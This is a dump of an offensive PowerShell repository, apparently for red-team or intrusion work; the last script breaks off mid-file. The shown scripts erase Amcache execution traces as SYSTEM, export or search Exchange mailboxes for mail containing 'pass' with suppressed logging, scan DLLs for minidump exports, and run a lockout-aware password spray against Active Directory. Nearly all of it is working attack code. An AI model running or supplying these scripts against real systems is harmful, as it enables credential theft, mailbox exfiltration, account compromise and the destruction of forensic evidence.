├── Delete-Amcache.ps1
├── DirectExportMailfromExchange.ps1
├── DirectSearchMailfromExchange.ps1
├── Get-AllExports.ps1
├── Invoke-DomainPasswordSprayOutsideTheDomain.ps1
├── Invoke-Enumeratefile.ps1
├── Invoke-LibraryFilesPersistence.ps1
├── Invoke-OutlookPersistence.ps1
├── New-GPOImmediateTask.ps1
├── README.md
├── UsePSSessionToExportMailfromExchange.ps1
├── UsePSSessionToSearchMailfromExchange.ps1
└── dns-dump.ps1
/Delete-Amcache.ps1:
--------------------------------------------------------------------------------
1 | function Delete-Amcache
2 | {
3 | #Requires -Version 3.0
4 | <#
5 | .SYNOPSIS
6 | This script loads the AMCache hive from the default Windows location and delete the seleted data.
7 | You can use Get-Amcache.ps1 to list the data of AMCache hive,then use this to delete the seleted data.
8 | The new AMCache hive will be saved as new.hve
9 | .Reference
10 | https://github.com/yoda66/GetAmCache/blob/master/Get-Amcache.ps1
11 | Author: 3gstudent
12 | .PARAMETER RegHive
13 | The Amcache registry hive file to load. Defaults to \Windows\AppCompat\Programs\Amcache.hve
14 | .PARAMETER DestRegKey
15 | The destination registry key to load the registry hive to. Defaults to HKLM:\amcache
16 | .PARAMETER Filename
17 | The filename to be deleted.
18 | .EXAMPLE
19 | PS C:\> Delete-Amcache -Filename putty.exe
20 | #>
21 |
22 | [CmdletBinding()]
23 | Param (
24 | [Parameter(HelpMessage="Location of Amcache.hve file")]
25 | [String]$RegHive = $env:SYSTEMROOT + "\AppCompat\Programs\Amcache.hve",
26 |
27 | [Parameter(HelpMessage="Destination registry key to load amcache hive to")]
28 | [String]$DestRegKey = "HKLM\amcache",
29 |
30 | [Parameter(HelpMessage="Specify a filename to match,then remove the registry.")]
31 | [String]$Filename=""
32 | )
33 | $output = &"whoami"
34 | if($output -notmatch "nt authority\\system")
35 | {
36 | Write-Error "Script must be run as nt authority\system" -ErrorAction Stop
37 | }
38 | try {
39 | #Load AMCache hive
40 | reg.exe load $DestRegKey $RegHive | Out-Null
41 | #Backup the AMCache hive
42 | Write-Host "[+]The AMCache hive will be backuped as backup.hve"
43 | reg.exe save $DestRegKey "backup.hve" /y| Out-Null
44 |
45 | $rootfile = $DestRegKey.replace("\", ":") + "\Root\File"
46 |
47 | Get-ChildItem -Recurse -Path $rootfile | Get-ItemProperty | `
48 | foreach {
49 | $RegPath = $_.PSPath.Substring( $_.PSPath.LastIndexOf(":")+1 )
50 | $RegPath = "HKLM:" + $RegPath.Substring($RegPath.IndexOf("\") )
51 |
52 | $FilePath = $_.15
53 | if($FilePath -match $Filename)
54 | {
55 | Write-Host "[+]Data to be removed:"
56 | Write-Host $FilePath
57 | Write-Host $RegPath
58 | Remove-Item $RegPath -Recurse -Force
59 | }
60 | }
61 | }
62 | catch {
63 | $ErrorMessage = $_.Exception.Message
64 | Write-Output $ErrorMessage
65 | break
66 | }
67 | finally {
68 | [gc]::collect()
69 | [gc]::WaitForPendingFinalizers()
70 | #Generate the new AMCache hive
71 | Write-Host "[+]The new AMCache hive will be saved as new.hve"
72 | reg.exe save $DestRegKey "new.hve" /y| Out-Null
73 | #Unload it
74 | reg.exe unload $DestRegKey | Out-Null
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/DirectExportMailfromExchange.ps1:
--------------------------------------------------------------------------------
1 | function DirectExportMailfromExchange
2 | {
3 | #Requires -Version 2.0
4 | <#
5 | .SYNOPSIS
6 | This script will export the mail(.pst) from the Exchange server.
7 | The script needs to be executed on the Exchange server.
8 |
9 | Author: 3gstudent
10 |
11 | .PARAMETER MailBox
12 | The mail you want to export.
13 |
14 | .PARAMETER ExportPath
15 | The export path of the mail.
16 |
17 | .PARAMETER $Filter
18 | The search filter of the mail.
19 |
20 | .PARAMETER $Version
21 | The version of the Exhange.
22 | It can be 2007,2010,2013 and 2016.
23 |
24 | .EXAMPLE
25 | PS C:\> DirectExportMailfromExchange -MailBox "test1" -ExportPath "\\localhost\c$\test\" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2013
26 | #>
27 | param (
28 | [Parameter(Mandatory = $True)]
29 | [string]$MailBox,
30 | [Parameter(Mandatory = $True)]
31 | [string]$ExportPath,
32 | [Parameter(Mandatory = $True)]
33 | [string]$Filter,
34 | [Parameter(Mandatory = $True)]
35 | [string]$Version
36 | )
37 |
38 | Write-Host "[>] Start to add PSSnapin"
39 | if ($Version -eq 2007)
40 | {
41 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
42 | }
43 |
44 | elseif ($Version -eq 2010)
45 | {
46 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
47 | }
48 |
49 | else
50 | {
51 |
52 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
53 | }
54 |
55 | Write-Host "[+] Start to export mail"
56 | #Export mail and do not save the export request
57 | New-MailboxexportRequest -mailbox $MailBox -ContentFilter {(body -like "*pass*")} -FilePath ($ExportPath+$MailBox+".pst") -CompletedRequestAgeLimit 0
58 | Write-Host "[+] All done."
59 | }
60 |
--------------------------------------------------------------------------------
/DirectSearchMailfromExchange.ps1:
--------------------------------------------------------------------------------
1 | function DirectSearchMailfromExchange
2 | {
3 | #Requires -Version 2.0
4 | <#
5 | .SYNOPSIS
6 | This script will search the mail from the Exchange server and export the results to the selected mailbox.
7 | The script needs to be executed on the Exchange server.
8 |
9 | Author: 3gstudent
10 |
11 | .PARAMETER MailBox
12 | The mail you want to search.
13 | If you set it as 'All',it will search all the mailbox.
14 |
15 | .PARAMETER Filter
16 | The search filter of the mail.
17 |
18 | .PARAMETER TargetMailbox
19 | The mailbox of the results will be export.
20 |
21 | .PARAMETER TargetFolder
22 | The folder of the targetmailbox.
23 |
24 | .PARAMETER $Version
25 | The version of the Exhange.
26 | It can be 2007,2010,2013 and 2016.
27 |
28 | .EXAMPLE
29 | PS C:\> DirectSearchMailfromExchange -MailBox "test1" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "out2" -Version 2013
30 | or
31 | PS C:\> DirectSearchMailfromExchange -MailBox "All" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "outAll" -Version 2013
32 |
33 | #>
34 | param (
35 | [Parameter(Mandatory = $True)]
36 | [string]$MailBox,
37 | [Parameter(Mandatory = $True)]
38 | [string]$Filter,
39 | [Parameter(Mandatory = $True)]
40 | [string]$TargetMailbox,
41 | [Parameter(Mandatory = $True)]
42 | [string]$TargetFolder,
43 | [Parameter(Mandatory = $True)]
44 | [string]$Version
45 | )
46 |
47 | Write-Host "[>] Start to add PSSnapin"
48 | if ($Version -eq 2007)
49 | {
50 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
51 | }
52 |
53 | elseif ($Version -eq 2010)
54 | {
55 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
56 | }
57 |
58 | else
59 | {
60 |
61 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
62 | }
63 |
64 | Write-Host "[+] Start to search mail and export the results to the selectd mailbox"
65 | #Searche mail and export the results to the selectd mailbox
66 | if($MailBox -eq "all")
67 | {
68 | Write-Host "[!] It will search from all the mailbox,it may be a long time."
69 | Get-Mailbox|Search-Mailbox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null
70 | }
71 | else
72 | {
73 | Search-Mailbox -Identity $MailBox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null
74 | }
75 | Write-Host "[+] All done."
76 | }
77 |
--------------------------------------------------------------------------------
/Get-AllExports.ps1:
--------------------------------------------------------------------------------
1 | function Get-Exports {
2 | <#
3 | .SYNOPSIS
4 |
5 | Reference:
6 |
7 | https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
8 |
9 | This script is mainly used to automatically scan whether the export function of DLL in the specified directory contains "minidump" or not.
10 |
11 | Modified by 3gstudent
12 |
13 | -------
14 | Get-Exports, fetches DLL exports and optionally provides
15 | C++ wrapper output (idential to ExportsToC++ but without
16 | needing VS and a compiled binary). To do this it reads DLL
17 | bytes into memory and then parses them (no LoadLibraryEx).
18 | Because of this you can parse x32/x64 DLL's regardless of
19 | the bitness of PowerShell.
20 |
21 | .DESCRIPTION
22 | Author: Ruben Boonen (@FuzzySec)
23 | License: BSD 3-Clause
24 | Required Dependencies: None
25 | Optional Dependencies: None
26 |
27 | .PARAMETER DllPath
28 |
29 | Absolute path to DLL.
30 |
31 |
32 | .EXAMPLE
33 | C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll
34 |
35 | .EXAMPLE
36 | C:\PS> $Path = "C:\Windows"
37 | C:\PS> ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path -ErrorAction SilentlyContinue ))
38 | C:\PS> {
39 | C:\PS> Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
40 | C:\PS> }
41 |
42 | #>
43 | param (
44 | [Parameter(Mandatory = $True)]
45 | [string]$DllPath
46 | # [Parameter(Mandatory = $False)]
47 | # [string]$ExportsToCpp
48 | )
49 |
50 |
51 |
52 | Add-Type -TypeDefinition @"
53 | using System;
54 | using System.Diagnostics;
55 | using System.Runtime.InteropServices;
56 | using System.Security.Principal;
57 |
58 | [StructLayout(LayoutKind.Sequential)]
59 | public struct IMAGE_EXPORT_DIRECTORY
60 | {
61 | public UInt32 Characteristics;
62 | public UInt32 TimeDateStamp;
63 | public UInt16 MajorVersion;
64 | public UInt16 MinorVersion;
65 | public UInt32 Name;
66 | public UInt32 Base;
67 | public UInt32 NumberOfFunctions;
68 | public UInt32 NumberOfNames;
69 | public UInt32 AddressOfFunctions;
70 | public UInt32 AddressOfNames;
71 | public UInt32 AddressOfNameOrdinals;
72 | }
73 |
74 | [StructLayout(LayoutKind.Sequential)]
75 | public struct IMAGE_SECTION_HEADER
76 | {
77 | public String Name;
78 | public UInt32 VirtualSize;
79 | public UInt32 VirtualAddress;
80 | public UInt32 SizeOfRawData;
81 | public UInt32 PtrToRawData;
82 | public UInt32 PtrToRelocations;
83 | public UInt32 PtrToLineNumbers;
84 | public UInt16 NumOfRelocations;
85 | public UInt16 NumOfLines;
86 | public UInt32 Characteristics;
87 | }
88 |
89 | public static class Kernel32
90 | {
91 | [DllImport("kernel32.dll")]
92 | public static extern IntPtr LoadLibraryEx(
93 | String lpFileName,
94 | IntPtr hReservedNull,
95 | UInt32 dwFlags);
96 | }
97 | "@
98 |
99 | # Load the DLL into memory so we can refference it like LoadLibrary
100 | $FileBytes = [System.IO.File]::ReadAllBytes($DllPath)
101 | [IntPtr]$HModule = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($FileBytes.Length)
102 | [System.Runtime.InteropServices.Marshal]::Copy($FileBytes, 0, $HModule, $FileBytes.Length)
103 |
104 | # Some Offsets..
105 | $PE_Header = [Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + 0x3C)
106 | $Section_Count = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x6)
107 | $Optional_Header_Size = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x14)
108 | $Optional_Header = $HModule.ToInt64() + $PE_Header + 0x18
109 |
110 | # We need some values from the Section table to calculate RVA's
111 | $Section_Table = $Optional_Header + $Optional_Header_Size
112 | $SectionArray = @()
113 | for ($i; $i -lt $Section_Count; $i++) {
114 | $HashTable = @{
115 | VirtualSize = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x8)
116 | VirtualAddress = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0xC)
117 | PtrToRawData = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x14)
118 | }
119 | $Object = New-Object PSObject -Property $HashTable
120 | $SectionArray += $Object
121 |
122 | # Increment $Section_Table offset by Section size
123 | $Section_Table = $Section_Table + 0x28
124 | }
125 |
126 | # Helper function for dealing with on-disk PE offsets.
127 | # Adapted from @mattifestation:
128 | # https://github.com/mattifestation/PowerShellArsenal/blob/master/Parsers/Get-PE.ps1#L218
129 | function Convert-RVAToFileOffset($Rva, $SectionHeaders) {
130 | foreach ($Section in $SectionHeaders) {
131 | if (($Rva -ge $Section.VirtualAddress) -and
132 | ($Rva-lt ($Section.VirtualAddress + $Section.VirtualSize))) {
133 | return [IntPtr] ($Rva - ($Section.VirtualAddress - $Section.PtrToRawData))
134 | }
135 | }
136 | # Pointer did not fall in the address ranges of the section headers
137 | # echo "Mmm, pointer did not fall in the PE range.."
138 | }
139 |
140 | # Read Magic UShort to determin x32/x64
141 | if ([Runtime.InteropServices.Marshal]::ReadInt16($Optional_Header) -eq 0x010B) {
142 | # echo "`n[?] 32-bit Image!"
143 | # IMAGE_DATA_DIRECTORY[0] -> Export
144 | $Export = $Optional_Header + 0x60
145 | } else {
146 | # echo "`n[?] 64-bit Image!"
147 | # IMAGE_DATA_DIRECTORY[0] -> Export
148 | $Export = $Optional_Header + 0x70
149 | }
150 |
151 | # Convert IMAGE_EXPORT_DIRECTORY[0].VirtualAddress to file offset!
152 | $ExportRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($Export)) $SectionArray
153 |
154 | # Cast offset as IMAGE_EXPORT_DIRECTORY
155 | $OffsetPtr = New-Object System.Intptr -ArgumentList $($HModule.ToInt64() + $ExportRVA)
156 | $IMAGE_EXPORT_DIRECTORY = New-Object IMAGE_EXPORT_DIRECTORY
157 | $IMAGE_EXPORT_DIRECTORY = $IMAGE_EXPORT_DIRECTORY.GetType()
158 | $EXPORT_DIRECTORY_FLAGS = [system.runtime.interopservices.marshal]::PtrToStructure($OffsetPtr, [type]$IMAGE_EXPORT_DIRECTORY)
159 |
160 | # Print the in-memory offsets!
161 | # echo "`n[>] Time Stamp: $([timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($EXPORT_DIRECTORY_FLAGS.TimeDateStamp)))"
162 | # echo "[>] Function Count: $($EXPORT_DIRECTORY_FLAGS.NumberOfFunctions)"
163 | # echo "[>] Named Functions: $($EXPORT_DIRECTORY_FLAGS.NumberOfNames)"
164 | # echo "[>] Ordinal Base: $($EXPORT_DIRECTORY_FLAGS.Base)"
165 | # echo "[>] Function Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions)"
166 | # echo "[>] Name Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNames)"
167 | # echo "[>] Ordinal Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals)"
168 |
169 | # Get equivalent file offsets!
170 | $ExportFunctionsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions $SectionArray
171 | $ExportNamesRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNames $SectionArray
172 | $ExportOrdinalsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals $SectionArray
173 |
174 | # Loop exports
175 | $ExportArray = @()
176 | for ($i=0; $i -lt $EXPORT_DIRECTORY_FLAGS.NumberOfNames; $i++){
177 | # Calculate function name RVA
178 | $FunctionNameRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportNamesRVA + ($i*4))) $SectionArray
179 | # $HashTable = @{
180 | # FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA)
181 | # ImageRVA = echo "0x$("{0:X8}" -f $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportFunctionsRVA + ($i*4))))"
182 | # Ordinal = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $ExportOrdinalsRVA + ($i*2)) + $EXPORT_DIRECTORY_FLAGS.Base
183 | # }
184 | # $Object = New-Object PSObject -Property $HashTable
185 | # $ExportArray += $Object
186 | $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA)
187 |
188 | if ($FunctionName -match "minidump")
189 | {
190 | echo "[+] $($DllPath)-->$($FunctionName)"
191 | }
192 | }
193 |
194 | # Print export object
195 | # $ExportArray |Sort-Object Ordinal
196 | # Optionally write ExportToC++ wrapper output
197 | # if ($ExportsToCpp) {
198 | # foreach ($Entry in $ExportArray) {
199 | # Add-Content $ExportsToCpp "#pragma comment (linker, '/export:$($Entry.FunctionName)=[FORWARD_DLL_HERE].$($Entry.FunctionName),@$($Entry.Ordinal)')"
200 | # }
201 | # }
202 |
203 | # Free buffer
204 | [Runtime.InteropServices.Marshal]::FreeHGlobal($HModule)
205 | }
206 |
--------------------------------------------------------------------------------
/Invoke-DomainPasswordSprayOutsideTheDomain.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-DomainPasswordSprayOutsideTheDomain{
2 | <#
3 | .SYNOPSIS
4 |
5 | This module performs a password spray attack against users of a domain.
6 |
7 | Note:
8 | It only works outside the domain environment.
9 |
10 | When you are in the domain environment,you can use the original file(Invoke-DomainPasswordSpray).
11 |
12 | Source:https://github.com/dafthack/DomainPasswordSpray
13 |
14 | Modified by 3gstudent
15 |
16 | .DESCRIPTION
17 |
18 | This module performs a password spray attack against users of a domain.
19 |
20 | .PARAMETER UserList
21 |
22 | Optional UserList parameter. This will be generated automatically if not specified.
23 |
24 | .PARAMETER Password
25 |
26 | A single password that will be used to perform the password spray.
27 |
28 | .PARAMETER PasswordList
29 |
30 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
31 |
32 | .PARAMETER OutFile
33 |
34 | A file to output the results to.
35 |
36 | .PARAMETER Domain
37 |
38 | The domain to spray against.
39 |
40 | .PARAMETER Filter
41 |
42 | Custom LDAP filter for users, e.g. "(description=*admin*)"
43 |
44 | .PARAMETER Force
45 |
46 | Forces the spray to continue and doesn't prompt for confirmation.
47 |
48 | .PARAMETER UsernameAsPassword
49 |
50 | For each user, will try that user's name as their password
51 |
52 | .EXAMPLE
53 |
54 | C:\PS> Invoke-DomainPasswordSprayOutsideTheDomain -UserList users.txt -Domain "192.168.1.1/DC=test,DC=com" -PasswordList passlist.txt -OutFile sprayed-creds.txt
55 |
56 | Description
57 | -----------
58 | This command will use the userlist at users.txt and try to authenticate to the domain "192.168.1.1/DC=test,DC=com" using each password in the passlist.txt file one at a time.
59 |
60 |
61 | .EXAMPLE
62 |
63 | C:\PS> Invoke-DomainPasswordSprayOutsideTheDomain -Domain "192.168.1.1/DC=test,DC=com" -UserList .\user.txt -Password DomainUser123! -Verbose
64 |
65 | #>
66 | param(
67 | [Parameter(Position = 0, Mandatory = $false)]
68 | [string]
69 | $UserList = "",
70 |
71 | [Parameter(Position = 1, Mandatory = $false)]
72 | [string]
73 | $Password,
74 |
75 | [Parameter(Position = 2, Mandatory = $false)]
76 | [string]
77 | $PasswordList,
78 |
79 | [Parameter(Position = 3, Mandatory = $false)]
80 | [string]
81 | $OutFile,
82 |
83 | [Parameter(Position = 4, Mandatory = $false)]
84 | [string]
85 | $Filter = "",
86 |
87 | [Parameter(Position = 5, Mandatory = $false)]
88 | [string]
89 | $Domain = "",
90 |
91 | [Parameter(Position = 6, Mandatory = $false)]
92 | [switch]
93 | $Force,
94 |
95 | [Parameter(Position = 7, Mandatory = $false)]
96 | [switch]
97 | $UsernameAsPassword,
98 |
99 | [Parameter(Position = 8, Mandatory = $false)]
100 | [int]
101 | $Delay=0,
102 |
103 | [Parameter(Position = 9, Mandatory = $false)]
104 | $Jitter=0
105 |
106 | )
107 |
108 | if ($Password)
109 | {
110 | $Passwords = @($Password)
111 | }
112 | elseif($UsernameAsPassword)
113 | {
114 | $Passwords = ""
115 | }
116 | elseif($PasswordList)
117 | {
118 | $Passwords = Get-Content $PasswordList
119 | }
120 | else
121 | {
122 | Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
123 | break
124 | }
125 |
126 | try
127 | {
128 | if ($Domain -ne "")
129 | {
130 | # Using domain specified with -Domain option
131 | # $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
132 | # $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
133 | # $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
134 | $CurrentDomain = "LDAP://" + $Domain
135 | $CurrentDomain
136 | }
137 | else
138 | {
139 | # Trying to use the current user's domain
140 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
141 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
142 | }
143 | }
144 | catch
145 | {
146 | Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option."
147 | break
148 | }
149 |
150 | if ($UserList -eq "")
151 | {
152 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter
153 | }
154 | else
155 | {
156 | # if a Userlist is specified use it and do not check for lockout thresholds
157 | Write-Host "[*] Using $UserList as userlist to spray with"
158 | Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
159 | $UserListArray = @()
160 | try
161 | {
162 | $UserListArray = Get-Content $UserList -ErrorAction stop
163 | }
164 | catch [Exception]
165 | {
166 | Write-Host -ForegroundColor "red" "$_.Exception"
167 | break
168 | }
169 |
170 | }
171 |
172 |
173 | if ($Passwords.count > 1)
174 | {
175 | Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
176 | }
177 |
178 | # $observation_window = Get-ObservationWindow
179 |
180 | # Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
181 | # Write-Host "[*] Setting a $observation_window minute wait in between sprays."
182 |
183 | # if no force flag is set we will ask if the user is sure they want to spray
184 | if (!$Force)
185 | {
186 | $title = "Confirm Password Spray"
187 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
188 |
189 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
190 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
191 |
192 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
193 | "Cancels the password spray."
194 |
195 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
196 |
197 | $result = $host.ui.PromptForChoice($title, $message, $options, 0)
198 |
199 | if ($result -ne 0)
200 | {
201 | Write-Host "Cancelling the password spray."
202 | break
203 | }
204 | }
205 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords"
206 | Write-Host "[*] This might take a while depending on the total number of users"
207 |
208 | if($UsernameAsPassword)
209 | {
210 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword
211 | }
212 | else
213 | {
214 | for($i = 0; $i -lt $Passwords.count; $i++)
215 | {
216 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
217 | if (($i+1) -lt $Passwords.count)
218 | {
219 | Countdown-Timer -Seconds (60*$observation_window)
220 | }
221 | }
222 | }
223 |
224 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
225 | if ($OutFile -ne "")
226 | {
227 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
228 | }
229 | }
230 |
231 | function Countdown-Timer
232 | {
233 | param(
234 | $Seconds = 1800,
235 | $Message = "[*] Pausing to avoid account lockout."
236 | )
237 | foreach ($Count in (1..$Seconds))
238 | {
239 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
240 | Start-Sleep -Seconds 1
241 | }
242 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
243 | }
244 |
245 | function Get-DomainUserList
246 | {
247 | <#
248 | .SYNOPSIS
249 |
250 | This module gathers a userlist from the domain.
251 |
252 | DomainPasswordSpray Function: Get-DomainUserList
253 | Author: Beau Bullock (@dafthack)
254 | License: BSD 3-Clause
255 | Required Dependencies: None
256 | Optional Dependencies: None
257 |
258 | .DESCRIPTION
259 |
260 | This module gathers a userlist from the domain.
261 |
262 | .PARAMETER Domain
263 |
264 | The domain to spray against.
265 |
266 | .PARAMETER RemoveDisabled
267 |
268 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
269 |
270 | .PARAMETER RemovePotentialLockouts
271 |
272 | Removes accounts within 1 attempt of locking out.
273 |
274 | .PARAMETER Filter
275 |
276 | Custom LDAP filter for users, e.g. "(description=*admin*)"
277 |
278 | .EXAMPLE
279 |
280 | PS C:\> Get-DomainUserList
281 |
282 | Description
283 | -----------
284 | This command will gather a userlist from the domain including all samAccountType "805306368".
285 |
286 | .EXAMPLE
287 |
288 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
289 |
290 | Description
291 | -----------
292 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
293 |
294 | #>
295 | param(
296 | [Parameter(Position = 0, Mandatory = $false)]
297 | [string]
298 | $Domain = "",
299 |
300 | [Parameter(Position = 1, Mandatory = $false)]
301 | [switch]
302 | $RemoveDisabled,
303 |
304 | [Parameter(Position = 2, Mandatory = $false)]
305 | [switch]
306 | $RemovePotentialLockouts,
307 |
308 | [Parameter(Position = 3, Mandatory = $false)]
309 | [string]
310 | $Filter
311 | )
312 |
313 | try
314 | {
315 | if ($Domain -ne "")
316 | {
317 | # Using domain specified with -Domain option
318 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
319 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
320 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
321 | }
322 | else
323 | {
324 | # Trying to use the current user's domain
325 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
326 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
327 | }
328 | }
329 | catch
330 | {
331 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
332 | break
333 | }
334 |
335 | # Setting the current domain's account lockout threshold
336 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
337 | $AccountLockoutThresholds = @()
338 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
339 |
340 | # Getting the AD behavior version to determine if fine-grained password policies are possible
341 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
342 | if ($behaviorversion -ge 3)
343 | {
344 | # Determine if there are any fine-grained password policies
345 | Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
346 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
347 | $ADSearcher.SearchRoot = $objDeDomain
348 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
349 | $PSOs = $ADSearcher.FindAll()
350 |
351 | if ( $PSOs.count -gt 0)
352 | {
353 | Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
354 | foreach($entry in $PSOs)
355 | {
356 | # Selecting the lockout threshold, min pwd length, and which
357 | # groups the fine-grained password policy applies to
358 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
359 | $PSOPolicyName = $PSOFineGrainedPolicy.name
360 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
361 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
362 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
363 | # adding lockout threshold to array for use later to determine which is the lowest.
364 | $AccountLockoutThresholds += $PSOLockoutThreshold
365 |
366 | Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
367 | }
368 | }
369 | }
370 |
371 | $observation_window = Get-ObservationWindow
372 |
373 | # Generate a userlist from the domain
374 | # Selecting the lowest account lockout threshold in the domain to avoid
375 | # locking out any accounts.
376 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
377 | Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
378 |
379 | if ($SmallestLockoutThreshold -eq "0")
380 | {
381 | Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
382 | }
383 | else
384 | {
385 | Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
386 | }
387 |
388 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
389 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry
390 | $UserSearcher.SearchRoot = $DirEntry
391 |
392 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
393 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
394 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
395 |
396 | if ($RemoveDisabled)
397 | {
398 | Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
